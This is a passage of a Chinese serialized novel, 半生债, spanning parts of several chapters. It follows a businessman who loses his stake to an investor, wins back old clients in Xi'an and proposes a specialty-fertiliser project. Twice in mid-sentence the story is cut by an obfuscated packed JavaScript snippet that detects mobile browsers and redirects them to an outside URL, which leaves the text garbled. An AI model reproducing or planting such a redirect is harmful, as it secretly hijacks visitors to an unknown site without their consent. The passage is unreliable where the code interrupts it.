四人三面茶叙。聊市场、技术、管理，也聊各自跌过的跤。王霖察觉，这几人都实在——不吹嘘，不空谈，有一说一。 末次，宋泰生开口：“王总，你的技术、客户资源，都是干货。我们有钱、有渠道、有经验。合起来，能成事。” 李见俊补一句：“但丑话在前——合作按规矩。股份清，权责明，谁也不越线。” 王霖看着他们。三双眼，都坦诚。 他想起白明亮当初的话：“就咱们几个老同学，知根知底……” 眼前人非同学，但那股劲，像。 “成。”王霖点头，“合作。” --- 五、东山再起 新公司名“东山省西农麦维尔生物工程有限公司”。名长，意明——立足东山，深耕农科。 股权清晰：宋泰生百分之三十，董事长兼总经理；李凯君百分之二十五，管市场运营；王霖百分之二十，分管财务技术；李见俊百分之十五，纯财务投资。 余百分之十，作员工激励池。 王霖将老厂折价并入。库存、设备、专利，经第三方评估作价入股。那四十余家老客户，他无偿转入新公司。 “这些都是我筛了多年的优质客户，”王霖将厚厚档案递给李凯君，“信誉好，回款快。” 李凯君接过：“放心，我当自家孩子疼。” 公司成立那日，四人在新办公室举杯。落地窗外，开发区楼群林立，远海苍茫。 “为新开始。”宋泰生举杯。 “为新开始。”四杯相碰。 王霖望向窗外，百感涌上。一年前，他在西安雪夜独行。此刻，他又站在起点。 不同的是，这次身旁有人。 --- 六、风浪又起 新公司运转顺遂。宋泰生将内部理得井井有条，李凯君带销售团队开疆拓土，王霖抓技术升级与财务监督。 首三月，业绩稳步向上。老客户基本稳住，还拓了几个新单。 王霖稍松了口气。这次，似乎选对了。 但好景难长。 第四月，问题浮出。李凯君的销售团队年轻有冲劲，却欠火候。为冲业绩，有人许客户过高优惠，利润骤薄。 更糟的是，张杰全面反扑。 他在山东设办事处，挖走新公司两名骨干。价格战凶悍——同类产品，他敢降百分之二十。 老客户动摇。虽念旧情，但生意终究是生意。有人委婉开口：“王总，不是不支持，是那边价实在低太多……” 王霖急寻李凯君议策。 李凯君却淡定：“价格战常态。咱们质优，不怕。” 市场不认这理。第五月业绩下滑，第六月现亏损。 资金链绷紧。 恰此时，李见俊找来。 “公司需输血。”会议室里，他语气平静，“我追加一百万，占股增至百分之六十。” 王霖一怔：“当初说好你不参与经营。” “我是投资人，有权护盘。”李见俊道，“公司亏损，我追加投资要求相应股权，合情合理。” 宋泰生与李凯君沉默。 王霖看向他们，忽然懂了——这一切，或许早有棋局。 但他无凭据。公司章程确有条：重大亏损时，投资方可追加投资并调整股权。 “你们怎说？”王霖问。 宋泰生长叹：“公司现在难。有资金注入，是好事。” 李凯君点头：“先活下来。” 王霖看着他们。心里那根刚松的弦，又狠狠绷紧。 可他无选。公司要钱，要活。 “好。”他说。 协议签毕。李见俊百万到账，股权重调：李见俊百分之六十，宋泰生百分之二十，李凯君百分之十五，王霖剩百分之五。 他从分管副总，成了技术顾问。 --- 七、边缘 会议室空气滞重。 王霖盯着股权表上那“百分之五”，想起西安分厂时自己的百分之三十。那时说话有分量，决策有底气。如今，百分之五，连董事会门槛都迈不进。 “王总，”李见俊声线平稳，“技术仍归你管，公司需要你经验。” 话客气，意思明：你只管技术，其余勿涉。 散会后，李凯君在走廊追上来，递烟。两人凭窗，看楼下车流。 “霖子，”李凯君吐烟，“这事……对不住。” 王霖未应。烟在指间自顾燃着，青烟扭成细绳，在光线里浮沉。 “李见俊这人，我看走眼了。”李凯君声低，“原以为他只投资，不掺经营。谁知……” “罢了。”王霖截断，“事至此。” 怨无用，悔更无用。 午后，王霖去技术部。年轻技术员们见他，纷纷起身：“王总。” “坐。”他摆手，“新配方如何？” “效果佳，但成本高百分之八。”主管小李递数据。 王霖细看。增产数据亮眼，但成本…… “王总，”小李迟疑，“宋总说……成本须控在原有水平。” 王霖点头。他懂——公司现在要的是速效，不是远谋。 出技术部，转至财务室。小芳还在，见他眼一亮：“王总！” “该叫王工了。”他自嘲一笑，“近来如何？” 小芳压低嗓：“李总那边……压了不少招待费报销，说资金紧，能省则省。” 王霖心一沉。那些招待费多是李凯君跑市场垫付，有些客户确需应酬。 “按规矩办。”他说。 出财务室，走廊空荡。斜阳透过落地窗，在地板上切出明暗。王霖站在光影交界，忽觉自己像个外人。 这公司曾是他全部心血——客户是他一家家跑出的，配方是他一遍遍试出的，制度是他一点点磨出的。 而今，他只剩站在这里看的份。 --- 八、破局 转机来在一个雨天。 王霖在办公室看技术资料时，李凯君敲门而入，面色凝重。 “霖子，西北出事了。” “怎？” “张杰……”李凯君将传真放桌，“他在西安开分公司，挖走咱们三个西北代理。” 王霖拾起看。陕西老客户发来的，语气委婉，意思直白——张杰价低百分之十五，他们撑不住了。 “这几个客户，是你当初带我见的。”李凯君道，“现在……我摆不平了。” 王霖默然。看着传真上名字——老马、老赵、老周……都是西北市场最早那批，合作七八年了。 “宋总意思，”李凯君顿顿，“让你同我去趟西北。” “我？” “嗯。宋总说，这些客户认你。” 王霖明了。这是给他台阶，也给公司机会——若他能稳住西北市场，便证自己仍有价值。 “何时走？” “明天。” --- 九、再回西北 飞机降咸阳机场时，西安正淋着春雨。 不是去年那场豪雪，是细雨，密密的，将机场高速两侧麦田洗得碧亮。王霖望窗外，心头百味杂陈。 一年前，他也这般来西安，签撤资协议。那时雪大，心冷。 此刻雨细，心绪却更纷乱。 李凯君旁翻客户资料：“首见老马，明早十点。” “嗯。” 车入市区。西安依旧——城墙巍巍，钟楼矗立，泡馍馆子热气蒸腾。但王霖知，有些东西变了。 比如张杰厂子已扩至二百余人，产品销至甘、宁。 比如他与贾博的关系，断了一年。 比如他自己，从老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196374|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板成小股东，现要来救火。 酒店仍是上回那家。王霖立房间窗前，望雨帘中的钟楼。手机里躺着王言短信：“听说你来西安了？得空聚？” 王霖回：“这次赶，下次。” 他羞见王言——当初拉他入西安分厂，末了害他白忙一年，钱还是分期拿回的。 雨愈大。远处城墙在雨雾中洇成淡墨，像旧画。 --- 十、老马 老马公司在北郊建材市场。门面不大，货堆得满当。 见王霖，老马一愣，随即大步上前，手紧紧握住：“王总！你可算来了！” 手劲大，握得实。 “老马，久违。”王霖道。 “可不！”老马让座沏茶，“整一年了！上回见还是西安分厂开业。” 茶是陕青，味冲。王霖抿一口，胃暖。 “王总，这位是……”老马看李凯君。 “李凯君，公司市场负责人。”王霖引见。 李凯君递名片，客套数句。老马眼却始终看着王霖。 寒暄罢，入正题。 “张杰那边……”老马搓手，“价确实低。咱们老交情，我直说——他给我的价，比你们低两成。” 两成。王霖心一沉。这差价，太大了。 “老马，”王霖放杯，“价是一面，质是一面，还有一面——咱们这些年的情分。” 老马默然。掏烟递王霖一支，自点上，深吸一口。 “王总，我老马不是忘恩的。”烟雾里他的脸微糊，“当年我刚起步，是你头个给我供货，还许我三月账期。这情，我记着。” 王霖点头。那是二零一零年，老马还在市场租小摊，每回进货都小心问：“王总，能少进点么？资金转不开。” “可现在生意难啊。”老马叹，“张杰不仅价低，还许我区域代理，报销推广费。王总，我也是生意人……” 话未完，意已明。 李凯君欲言，王霖抬手止住。他起身至窗边。窗外建材市场车来人往，工人扛货穿梭，一片忙碌。 “老马，”王霖转身，“这样——我们新产品，效果提一成五。我给你试用十吨，免。若效果好，你再定。若不行，我不强求。” 老马怔住：“免？十吨？” “对。”王霖道，“就当还你当年情——你头个信我，我今头个让你试新。” 李凯君急，被王霖眼神压回。 老马盯王霖良久，猛拍桌：“行！王总，冲你这话，这十吨我要了！不光要，我帮你在市场推——效果好，我带头订！” 离了老马公司，李凯君忍不住：“霖子，十吨免，这成本……” “成本我担。”王霖道，“从我分红扣。” “可……” “凯君，”王霖看他，“咱们在救火。舍不得饵，钓不到鱼。” 李凯君默然。两人上车，赶往下家。 雨仍下，淅淅沥沥，洗着古城街巷。 --- 十一、一家一家 随后三日，王霖带李凯君跑遍西安周边老客户。 有如老马般念旧的，有已转投张杰的，有摇摆观望的。 王霖不急，不逼。每到一处，先喝茶，聊家常，聊这些年变迁，聊孩子，聊生意。待气氛暖透，才徐徐切入正题。 他不提自己当下境遇，只谈产品，谈技术，谈那些年共渡的时光。 “老赵，记不记得一一年那场大雨？你仓库进水，我连夜带人抢货。” “周总，儿子上大学了吧？当年你说，孩子考上大学定请我喝酒。” “刘老板，那辆桑塔纳还开么？咱们头回见，你就开它来的。” 记忆是奇妙的。那些被时光尘封的细节，一经唤醒，便涌出温度。 李凯君在旁看，听，渐渐明了——王霖卖的不是肥料，是情谊，是信任，是那些年并肩走过的路。 第三日傍晚，见完最后一家客户。出得门来，天已暗。雨住，西天露出一抹霞，金红金红的，映着古城轮廓。 “今日签五家。”李凯君翻记录本，声透兴奋，“量虽不大，但都现款现货。” 王霖点头，未语。他立路边，看街灯一盏盏亮起。西安黄昏总这般美，尤其雨后，空气清冽，晚霞浓烈。 “霖子，”李凯君忽道，“我算是懂了——做生意，到底做的是人。” 王霖侧首看他。 “我从前总觉价、质、服务是关键。”李凯君道，“但这回跟你跑才知——人对了，什么都对；人不对，什么都不对。” 王霖笑了。三日来，他头回真真切切地笑。 “走，”他说，“请你吃泡馍。有家老字号，汤浓。” 两人沿城墙根行。青石板路湿漉漉映着灯影。槐树新芽在晚风里轻摇。 王霖想起多年前初来西安，也是这般黄昏，这般风。那时他年轻，热血满腔，觉天下皆在掌中。 今时，他不再年轻，血也凉了些。但有些东西，反更清楚了。 譬如情谊的重量，信任的价值，那些看似无用却珍贵非常的物事。 泡馍馆子热气蒸腾。老板认得王霖，老远便招呼：“王总！久没来了！” “是啊，一年了。” “老样子？” “老样子。” 两碗泡馍上桌，汤浓肉烂香扑鼻。王霖掰馍，掰得细匀，如从前。 李凯君学他掰，却掰得大小不一。 “得掰匀，煮才入味。”王霖道。 李凯君笑：“跟你跑市场，还得学掰馍。” 两人皆笑。笑声在热闹馆子里，很快被淹没。 但王霖觉着，心里有什么东西，正慢慢活转过来。 --- 十二、归程 西安五日，签下八家客户。单虽不大，却都是现款，都是长线。 回东海飞机上，李凯君翻着成果，嘴角挂笑。 “霖子，照这势头，西北市场稳得住。” 王霖望窗外云海。飞机平稳，阳光透舷窗照入，亮得晃眼。 “还不够。”他道，“张杰不会罢休。” “那怎办？” “打组合拳。”王霖转头，“价上，咱拼不过他。但咱有技术优势，服务优势，还有……人情优势。” “人情？” “对。”王霖道，“你发现没，那些老客户，最在意的不是价低多少，而是稳当，是可靠，是出事了有人兜底。” 李凯君若有所思。 “所以，”王霖续道，“咱要做的——技术不停升级，服务不停优化，让客户觉得，用咱的货，省心。” 飞机开始降。云层破开，地面渐清——田、河、路，而后是海。 东海到了。 王霖望这片海。一年前自西安归时，海是灰的，如他心境。此刻，海蓝，天也蓝，水天一色，无边无垠。 他想，人生大抵如此——有低谷有高潮，有失有得。但只要还在路上，还肯往前走，总能见新风景。 落地时，轮子触跑道，轻震。 王霖开手机，有新讯。女儿菁菁发来：“爸，我拿奖学金了！等你回家吃饭！” 他笑，回：“好，就回。” 窗外，东海风吹来，带着海的气味——咸的，腥的，鲜活的。 如生活，有苦有咸，却终究是活生生的模样。 而他该做的，是迎着风，继续走。 --- 34. 《半生债》下卷 第4章·暗流 《半生债》下卷第4章·暗流 一、庆功宴上的沉默 庆功宴摆在东海大酒店最大的包厢。水晶灯折射出炫目的光，照在旋转餐桌的玻璃转盘上，晃得人眼花。 李见俊举杯站起来，笑容满得快要溢出来：“这趟西北之行，王总、凯君，辛苦了！特别是王总，力挽狂澜，功不可没！” 酒杯相碰，清脆的声音在包厢里回荡。王霖抿了一口酒，52度的白酒从喉咙一路烧到胃里。桌上摆着龙虾、鲍鱼、东星斑，都是李见俊特意点的硬菜。 “王总，”宋泰生隔着桌子递过来一支烟，“老客户还是认你啊。这趟签了多少？一百五十万？” “一百六十八万。”李凯君抢着回答，语气里带着邀功的雀跃，“而且全是现款。张杰那边压价再狠，也抵不过王总的面子。” 王霖笑了笑，没说话。面子——这个词现在听着，有种微妙的讽刺。当年他靠实力说话，现在要靠“面子”救场。 “不过，”宋泰生话锋一转，“张杰不会善罢甘休。我听说，他已经在甘肃设了点，下一步可能要打价格战。” 李见俊摆摆手：“兵来将挡。有王总在，西北市场丢不了。”他转向王霖，眼神诚恳得近乎表演，“王总，以后西北这块，你就多费心。需要什么支持，尽管开口。” 王霖点点头，又给自己倒了杯酒。李凯君在桌下轻轻碰了碰他的腿，眼神里写着担忧——他怕王霖喝多。 其实王霖清醒得很。清醒地看着这场戏：李见俊唱红脸，宋泰生唱白脸，李凯君在中间左右为难，而自己，是那个被架在功劳簿上、却依然只有百分之十五股份的“功臣”。 宴席过半，王霖借口去洗手间，走出了包厢。 走廊里铺着厚厚的地毯，踩上去悄无声息。他在窗边站定，摸出烟来。窗外是东海的夜景，霓虹灯沿着海岸线蜿蜒，像一条发光的蛇。 “躲这儿来了？” 王霖回头，李凯君也跟出来了。 “里面太闷。”王霖说。 李凯君靠在他旁边的窗台上，两人沉默地抽了会儿烟。包厢里的喧哗隔着门传出来，模模糊糊的，像另一个世界的声音。 “霖子，”李凯君忽然说，“李见俊今天说，想给你涨点分红比例。” 王霖夹烟的手顿了顿。 “我没答应。”李凯君深吸一口烟，“我说，王总不是图这个的人。要涨，就连股权一起调。” 王霖笑了，这次是真的笑了：“你就不怕他翻脸？” “翻就翻吧。”李凯君把烟头按灭在窗台的烟灰缸里，“这趟去西安，我想明白一件事——有些线，不能退。” 包厢门开了，宋泰生探出头来：“两位老总，干嘛呢？回来喝酒啊！” “来了。”李凯君应了一声，拍拍王霖的肩膀，“走吧，戏还得演完。” 王霖掐灭烟，最后看了一眼窗外的海。夜色里的海是黑色的，看不见波浪，只能听见远处传来的、低沉的涛声。 像某种暗示。 二、女儿的电话 回到家已经快十一点。王霖轻手轻脚地开门，客厅的灯还亮着。 张莉从沙发上站起来，脸上没有睡意：“喝酒了？” “一点。”王霖换鞋，闻到厨房飘出来的汤味，“还没睡？” “菁菁晚上打电话回来，说奖学金的事。”张莉去厨房盛汤，“你手机怎么关机了？” 王霖摸出手机，果然没电了。他插上充电器，屏幕亮起的瞬间，弹出好几个未接来电——都是女儿的。 “她说要等你回来，亲口告诉你。”张莉把汤碗放在餐桌上，热气腾腾的，“我让她先睡了，明天再打。” 王霖坐下来，舀了一勺汤。是老火鸡汤，张莉炖了一下午。汤很鲜，但他喝不出味道。 “西北怎么样？”张莉在他对面坐下。 “还行。”王霖说，“签了几个单子。” 张莉看着他，眼神里有种王霖读不懂的情绪。这么多年夫妻，她太了解他了——“还行”就是“不容易”，“签了几个单子”就是“拼了老命”。 “王霖，”张莉忽然说，“你要不……考虑换个地方？” 王霖抬起头。 “我不是说现在。”张莉避开他的眼神，“但你看，公司现在这样，你做得也不开心。菁菁马上大学毕业了，咱们也没什么大负担……” “再等等。”王霖打断她，“现在走，不合适。” “什么时候合适？”张莉的声音高了些，又压下去，“等你那百分之十五变成零？” 这话说重了。说完张莉就后悔了，但收不回来。 王霖放下汤勺，金属磕在瓷碗上，发出清脆的一声响。客厅里安静得可怕，只有墙上挂钟的滴答声，一秒一秒，走得刻板而坚决。 “对不起。”张莉先开口，“我只是……” “我知道。”王霖站起身，“我去洗澡。” 浴室的水很热，冲在皮肤上有点疼。王霖站在花洒下，闭上眼睛。热水顺着脸流下来，分不清是水还是别的什么。 他想起来菁菁小时候，骑在他脖子上逛公园，小手抓着他的头发，咯咯地笑。那时他刚创业，租个小办公室，每天骑着摩托车跑客户。张莉在工行储蓄部，工资不高，但从来没抱怨过。 有一次，菁菁问他：“爸爸，你为什么要这么辛苦啊？” 他记得自己当时说：“因为爸爸想让菁菁过上好日子。” 现在菁菁长大了，要毕业了，拿了奖学金。可他这个爸爸，还在原地打转，甚至——往后退了。 洗完澡出来，张莉已经睡了。王霖走到阳台上，点了一支烟。夜很深，小区里只有几盏路灯还亮着，昏黄的光晕里，飞蛾不知疲倦地撞着灯罩。 手机震动了一下。是菁菁发来的短信：“爸，汤好喝吗？妈说给你炖了汤。” 王霖看着那行字，看了很久，然后回：“好喝。你早点睡。” 发送成功。他把手机握在手里，金属外壳被体温焐热。远处传来隐约的汽笛声，是港口的货轮，夜航的船。 三、宋泰生的算盘 周一上午，王霖刚到办公室，宋泰生就来了。 “王总，有个事跟你商量。”宋泰生自己拉了把椅子坐下，翘起二郎腿，“西北市场稳住了，咱们得想想下一步。” 王霖给他倒了杯茶：“宋总的意思是？” “张杰打价格战，咱们不能硬碰硬。”宋泰生吹了吹茶水面上的浮叶，“我的想法是，开发新产品线——高端特种肥。价格高，利润空间大，避开低端市场的厮杀。” 王霖心里一动。这个思路，他其实早就想过。三年前，他就跟李凯君提过要研发特种肥，但当时公司忙着扩张，资金都投在产能上，这事就搁置了。 “技术上可行吗？”宋泰生问。 “可行。”王霖说，“但研发周期长，投入大。而且需要引进新的实验设备，招聘专业人才。” “钱不是问题。”宋泰生放下茶杯，“李总那边我去说。关键是，王总你有多大把握？” 王霖没有马上回答。他走到书柜前，抽出一本厚厚的文件夹。里面是他这些年收集的技术资料、市场分析、还有手写的研发构想——很多页的边角都已经磨损卷曲了。 “这是三年前我开始做的调研。”王霖把文件夹推到宋泰生面前，“特种肥在国内市场还是一片蓝海。但难点在于，要根据不同作物、不同土壤条件做定制化配方。这需要大量的田间实验数据。” 宋泰生翻看着那些资料，越翻越慢，越翻越认真。最后他抬起头，眼神复杂地看着王霖：“王总，这些……你准备了三年？” “一直想做。”王霖说，“只是没机会。” 宋泰生合上文件夹，手指在封面上敲了敲。那声音在安静的办公室里显得格外清晰。 “这样，”他说，“你做个详细的方案，包括预算、时间表、预期收益。我拿去跟李总谈。” “好。” 宋泰生起身要走，到门口又转过身：“王总，有句话，不知当讲不当讲。” “你说。” “李见俊这个人……”宋泰生斟酌着词句，“看重的是短期回报。你这个项目，周期太长，他未必有耐心。” 王霖点点头：“我明白。” “所以方案要做漂亮点。”宋泰生意味深长地说，“特别是前期见效的部分，要突出。” 门关上了。王霖坐回椅子上，看着桌上那本厚厚的文件夹。三年了，它终于有机会从抽屉深处重见天日。 可为什么，他心里一点兴奋都没有，反而沉甸甸的？ 手机响了，是技术部小李：“王总，新来的那批原料检测结果出来了，有两个指标不达标。供应商说是批次问题，可以换货。” “换了就能达标吗？” “他们保证下一批没问题。但……”小李犹豫了一下，“但生产计划已经排好了，如果等换货，要耽搁三天。” 王霖揉了揉眉心。又是这种两难的选择——要么用不合格的原料将就，要么耽误生产进度。从前他会毫不犹豫选后者，但现在，他知道宋泰生每天盯着生产报表，三天耽搁，足够让他来问三次“为什么”。 “先换货。”王霖说，“生产计划调整一下，加班赶进度。” “那加班费……” “我来批。” 挂断电话，王霖靠在椅背上，闭上眼睛。阳光从百叶窗的缝隙里漏进来，在他脸上切出明暗相间的条纹。 他忽然想起很多年前，父亲对他说过的一句话：“做人难，做企业更难。因为人只要对自己负责，企业要对一群人负责。” 那时他不懂。现在懂了，却已经骑虎难下。 四、老马的来电 周三下午，王霖正在修改特种肥的方案，手机响了。是个西安的号码。 “王总！我老马！” 老马的声音很大，背景音很吵，听起来像是在市场里。 “老马，什么事？” “好事！”老马那边有人在喊什么，他骂了一句，走远了些，“你上次给我的那十吨试验品，效果出来了！隔壁老赵家用的普通肥，苗长得没我家的壮实！现在市场里好几个老板都来问，你这新品什么时候正式上市？” 王霖精神一振：“效果明显吗？” “明显！特别明显！”老马兴奋地说，“王总，我跟你说，这肥要是能量产，我第一个签代理合同！价格你定，只要别太离谱就行。” 挂了电话，王霖看着电脑屏幕上还没完成的方案，心里那团熄灭已久的火，似乎又窜起了一点火星。 他拿起内线电话：“小李，来我办公室一趟。” 五分钟后，小李急匆匆来了：“王总？” “特种肥的田间实验数据，咱们自己手头有多少？” 小李想了想：“不多。前几年零散做过一些，但不系统。主要是没专项经费，做得断断续续的。” “如果现在开始做，最快多久能有初步结果？” “至少要一个生长周期。如果是大田作物，三个月到半年。如果是果树，那得一年以上。” 王霖沉思片刻：“先从大田作物开始。你选两三个有代表性的地区，西安那边我让老马帮忙找试验田。费用……”他顿了顿，“先从我的项目备用金里出。” 小李愣了一下：“王总，这不符合财务规定吧？项目备用金是批下来才能动用的……” “先垫上。”王霖说，“等方案批了再补回去。” 小李欲言又止，最后还是点点头： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196375|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我马上去办。” 小李走后，王霖继续修改方案。但这次，他的手指在键盘上敲得飞快。那些枯燥的数据、冗长的分析，忽然都有了意义——因为老马电话里兴奋的声音，让他想起了最初创业时的感觉。 那种做出一款好产品，真正帮到农民，然后被认可、被需要的感觉。 快下班时，李凯君推门进来，脸色不太好。 “霖子，听说你要动项目备用金？” 消息传得真快。王霖不动声色：“垫一下实验经费。怎么，有人有意见？” “宋泰生刚问我，说你这个项目还没上会，怎么就开始花钱了。”李凯君压低声音，“他是不是在盯着你？” “让他盯。”王霖保存文档，关上电脑，“实验数据是做方案的基础。没有数据，方案就是纸上谈兵。这个道理，他宋泰生应该懂。” “话是这么说……”李凯君叹了口气，“但现在公司里，盯着你的人不少。李见俊表面上夸你，背地里怎么想，谁知道呢？” 王霖站起身，拍拍李凯君的肩：“凯君，你知道我为什么一定要做这个项目吗？” 李凯君摇头。 “因为这是条活路。”王霖说，“低端市场已经杀成红海了，价格战打下去，谁都活不了。只有往上走，做别人做不了的东西，才有出路。” 窗外，夕阳正在西沉，把天空染成一片绚烂的金红。办公楼里陆续亮起灯，像星星提前落在了人间。 “走吧，”王霖说，“请你吃饭。我知道一家新开的杭帮菜，清淡，养胃。” 两人走出办公室。走廊里，其他部门的人还在加班，键盘声、电话声、讨论声混在一起，汇成公司日常的喧哗。 王霖走过这些声音，忽然觉得，自己好像又回到了当年——那个不管多难，都要咬牙往前冲的年纪。 只是这一次，他背负的东西更多了。 有那百分之五的股权，有老马们的期待，有女儿的奖学金，有张莉没说出口的担忧。 还有，心里那点不肯熄灭的火。 五、暗流涌动 周五的例会，气氛微妙。 李见俊坐在主位，听完各部门汇报，最后才转向王霖：“王总，特种肥的方案，听说你在做了？” “初稿已经完成。”王霖把打印好的方案递过去，“宋总建议我先做个详细方案。” 李见俊接过，没有马上看，而是放在手边：“这个项目，前期投入要多少？” “第一期研发和设备投入，大概三百万。”王霖说，“如果田间实验顺利，六个月后可以小规模试产。” “三百万。”李见俊重复了一遍，手指在桌面上轻轻敲着，“回报周期呢？” “两年左右可以回本。但更重要的是，特种肥的毛利率能达到百分之四十以上，是普通肥的两倍。” 宋泰生接过话头：“李总，现在普通肥市场竞争太激烈了。张杰在西北压价，其他区域也有跟风的。咱们必须找新的增长点。” 李见俊没说话，翻开了方案。会议室里安静下来，只有纸张翻动的声音。王霖注意到，李见俊看得很慢，在某些页面停留的时间特别长。 那是关于技术核心的部分，也是王霖最花心血的部分。 “技术壁垒有多高？”李见俊忽然问。 “很高。”王霖说，“配方需要根据土壤成分、作物种类动态调整，这不是简单抄袭就能做到的。而且我们计划申请专利，形成保护。” 李见俊合上方案，身体往后靠了靠，椅背发出轻微的吱呀声。 “王总，我不是怀疑你的技术能力。”他说，“但这个投入不小，风险也大。万一市场不接受呢？万一研发周期拖长呢？” “所以我们需要先做田间实验。”王霖早有准备，“用数据说话。如果实验数据好，市场推广就有底气。” 李见俊看向宋泰生：“宋总觉得呢？” “我觉得可以投。”宋泰生说得干脆，“但要有阶段性目标。比如，三个月内出初步数据，六个月完成配方定型。每个阶段达不到目标，项目就要重新评估。” “王总的意思？”李见俊又看回王霖。 “可以。”王霖说。 “那行。”李见俊拍板，“先批五十万启动资金，做田间实验。如果数据理想，再追加投资。” 散会后，王霖最后一个离开会议室。他把杯子里凉透的茶喝完，茶叶的苦涩在舌尖蔓延。 五十万。离三百万的预算差得很远，但至少，是个开始。 走廊里，他碰见了财务部的小芳。小芳抱着文件夹，见到他，欲言又止。 “怎么了？”王霖问。 小芳左右看了看，声音压得极低：“王总，李总昨天交代，所有超过十万的支出，都要他亲自审批。包括……项目备用金。” 王霖心里一沉，面上却不动声色：“知道了。谢谢。” 回到办公室，他关上门，在窗前站了很久。楼下，公司的货车正在装货，工人们忙碌地搬运着一袋袋肥料。那些都是最普通的产品，利润微薄，却支撑着公司日常的运转。 他的特种肥，会是下一个增长点，还是又一个烧钱的梦想？ 手机震动，是女儿菁菁发来的照片。她在图书馆，面前堆着厚厚的书，对着镜头比了个胜利的手势。附言：“爸，我在准备考研。加油！” 王霖看着照片里女儿青春洋溢的脸，忽然笑了。他回：“一起加油。” 窗外，天空不知何时阴了下来，乌云从海的方向涌来，沉甸甸的，压在城市上空。 要下雨了。 而海面之下，暗流已经开始涌动。 --- 【第四章·暗流 完】 （字数：6,287字） --- 35. 《半生债》下卷 第5章·人间烟火 《半生债》下卷第5章·人间烟火 一、山间偶遇 2017年清明，王霖独自登黄山。 不为风景，只为喘口气。实验室第六十五批菌株进入稳定期，市场部的报表却显示老客户又流失了三家。李见俊的增资协议静静躺在宋泰生桌上，只待落笔。空气里尽是绷紧的弦，再紧一丝，就要断了。 他需要离开那片令人窒息的海，去看看沉静的山。 清明时节的黄山，云雾缭绕。王霖背着简易行囊，沿西海大峡谷的石阶步步向上。石阶湿滑，缝隙里蔓延的青苔，洇出墨绿暗纹。游人稀疏，偶有挑夫负重而上，扁担在肩头吱呀作响，脚步却稳得像扎了根。 半山腰的观景台上，他遇见一对夫妻。 男人五十出头，穿着洗得发白的冲锋衣，正举着手机为妻子拍照。女人站在护栏边，背后是翻涌的云海。她笑得有些拘谨，手指无意识地绞着围巾。 “师傅，能帮我们拍张合影吗？”男人看见王霖，走来递过手机。 王霖接过。镜头里，两人并肩站着，中间隔着半拳距离。男人朝妻子那边靠了靠，女人却下意识地退了一点。 “笑一笑。”王霖说。 快门按下时，女人终于笑了，只是眼角的皱纹里，藏着洗不去的疲惫。 就这样相识。男人叫王明，女人叫张娜，都是南京人。女儿小美大学刚毕业，在老家当老师。这次出来，说是“结婚二十五周年纪念旅行”。 “其实是我硬拉她出来的。”在路旁石凳休息时，王明递给王霖一瓶水，“再不出来走走，家都要散了。” 话说得直白，让王霖一怔。 张娜在旁边削苹果，水果刀在果皮上划出连绵的螺旋，皮垂下，始终未断。她削得极专注，像在完成某种庄严的仪式。 山风呼啸，松涛阵阵。王霖望着这对夫妻，忽然想起自己和张莉。那些年忙于生意，莫说旅行，连同桌吃饭都是奢侈。后来破产了，时间有了，钱却又没了。 人生仿佛总在错位。 “你们……做什么的？”王霖问。 王明苦笑：“我？什么都做。送快递，跑代驾，最近在学足疗。”他伸出手，掌心厚茧叠着厚茧，指关节粗大变形，“四十八岁，从头再来。” 王霖看着那双手，想起自己在西安破产后，也是这般模样。他下意识摸了摸自己的掌心——茧子还在，只是淡了些。 “她呢？”他看向张娜。 张娜将削好的苹果切成三块，分给大家。“我在家。”她说得简单，王明却补充道：“她身体不好，心脏有点问题，不能累着。” 话至此，便停了。三人沉默地吃着苹果。苹果很甜，汁水丰沛，在口中迸开清冽的滋味。 下山时，他们同路。石阶陡峭，王明走得很慢，不时回头等待张娜。张娜却总落后几步，低着头，只看自己的脚尖。 行至半山亭，天阴了下来。雾气自谷底升腾，迅速吞没山道。能见度不足十米，松树在雾中化作模糊的剪影，宛如水墨画中洇开的墨点。 “歇会儿吧。”王霖提议。 亭内已有几人。一对年轻情侣依偎着看手机，一位独行的老人拄着登山杖眺望——尽管什么也看不见。王明寻处坐下，从背包里掏出保温杯，递给张娜。 “喝点热水。” 张娜接过，没喝，只是抱在怀里。 雨，开始落了。先是细密的雨丝，继而变成豆大的雨点，砸在亭子的瓦顶上，噼啪作响。雾更浓了，整个世界仿佛浓缩于这方小小的亭中。 就在这片雨声里，王明开始讲述他的故事。 --- 二、腊月二十三的胃疼 “是小年夜的下午五点四十分。” 王明的声音很平，像在念一份陈年的报告。 “我推开家门，手机在裤兜里‘叮’了一声。微信到账200块，备注是‘王师傅手法真好’。那是我那天第三个按摩客人。” 王霖静静听着。雨声成了唯一的背景音。 “我拎着从超市买的打折苹果和蒜苗，站在楼道里，给我老婆转了888块钱。没写留言，就三个8，图个吉利。” “她没收。”张娜忽然开口，声音很轻，“我给他发了一张截图，保险公司的缴费通知。下月五号要交，一万四千五。” 王明点点头：“对。两个人，重疾险。她每年一万六千八，我一万七千二。” 亭子里骤然安静。那对年轻情侣停下了滑动屏幕的手指，老人也转过头来。 “我当时站在卫生间镜子前，看着自己。”王明继续道，“四十八岁，看着像五十八。胃开始疼，就在这儿——”他用手按住胸骨下方，“像有只手在里面拧毛巾。” 王霖的胃也跟着抽动一下。他太熟悉那种感觉了。 